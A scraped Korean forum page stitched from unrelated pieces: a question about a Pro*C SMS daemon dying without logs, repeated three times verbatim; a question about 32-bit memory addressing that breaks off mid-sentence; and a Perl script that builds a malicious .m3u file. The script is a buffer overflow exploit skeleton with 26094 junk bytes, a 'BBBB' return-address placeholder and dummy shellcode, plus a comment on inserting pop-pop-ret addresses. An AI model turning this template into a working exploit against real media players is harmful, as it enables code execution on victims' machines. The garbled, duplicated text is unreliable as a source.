proC 로 작성된 SMS 발송데몬이 있습니다.
크게 복잡한 내용도 아닌데..
1분마다 QUEUE 에 들어온 데이터를 읽어 SMS 서버로 전송하는역할을합니다.
일반적으로 잘 작동되고 돌고있는데.. 아무 신호없이 죽는경우가 두어달에 한번씩 발생합니다.
그래서
갑자기 종료되는 이유를 찾고싶은데 정상종료가 아니기에 로그에 남는게 없습니다.
비정상종료될때 받은 시그널이나 상황을 알고싶은데
그런걸 로그에 남길 방법이 있을까요
더 필요한 정보가 있으면 알려드리겠습니다.
기능개선을 해야하는데.. 이유를 모르니 뭔가 해볼수가 없네요
도움 부탁드립니다.
proC 로 작성된 SMS 발송데몬이 있습니다.
크게 복잡한 내용도 아닌데..
1분마다 QUEUE 에 들어온 데이터를 읽어 SMS 서버로 전송하는역할을합니다.
일반적으로 잘 작동되고 돌고있는데.. 아무 신호없이 죽는경우가 두어달에 한번씩 발생합니다.
그래서
갑자기 종료되는 이유를 찾고싶은데 정상종료가 아니기에 로그에 남는게 없습니다.
비정상종료될때 받은 시그널이나 상황을 알고싶은데
그런걸 로그에 남길 방법이 있을까요
더 필요한 정보가 있으면 알려드리겠습니다.
기능개선을 해야하는데.. 이유를 모르니 뭔가 해볼수가 없네요
도움 부탁드립니다.
proC 로 작성된 SMS 발송데몬이 있습니다.
크게 복잡한 내용도 아닌데..
1분마다 QUEUE 에 들어온 데이터를 읽어 SMS 서버로 전송하는역할을합니다.
일반적으로 잘 작동되고 돌고있는데.. 아무 신호없이 죽는경우가 두어달에 한번씩 발생합니다.
그래서
갑자기 종료되는 이유를 찾고싶은데 정상종료가 아니기에 로그에 남는게 없습니다.
비정상종료될때 받은 시그널이나 상황을 알고싶은데
그런걸 로그에 남길 방법이 있을까요
더 필요한 정보가 있으면 알려드리겠습니다.
기능개선을 해야하는데.. 이유를 모르니 뭔가 해볼수가 없네요
도움 부탁드립니다.
제가 요새 하드웨어 공부를 하게되면서 Memory의 구조를 스치듯(?)이 보았는데, 상당히 이해가 안가는 점이 있어서 질문남겨 봅니다ㅠㅠ
우선은 제가 본 메모리의 대략적인 구조 그림이 아래와 같은데요...
이것이 32bit 컴퓨터에서는 address라인과 data라인이 전부 32bit라고 합니다. 여기서 제가 궁금한점이, 그림에 따르면 32bit 컴퓨터에서 address가 0x00 00 00 00에서 data를 실제 32bit를 읽어오고 0x00 00 00 01에서도 data를 32bit 읽어오고 이렇게 되야하는데,
my $file= "test1.m3u";
my $junk= "A" x 26094;
my $eip = "BBBB";(여기에 pop pop return주소나 push return주소를 넣겟죠)
my $preshellcode = "XXXX";
my $shellcode = "1ABCDEFGHIJK2ABCDEFGHIJK3ABCDEFGHIJK4ABCDEFGHIJK" .
"5ABCDEFGHIJK6ABCDEFGHIJK" .
"7ABCDEFGHIJK8ABCDEFGHIJK" .
"9ABCDEFGHIJKAABCDEFGHIJK".
"BABCDEFGHIJKCABCDEFGHIJK";
open($FILE,">$file");
print $FILE $junk.$eip.$preshellcode.$shellcode;
close($FILE);
print "m3u File Created successfully\n";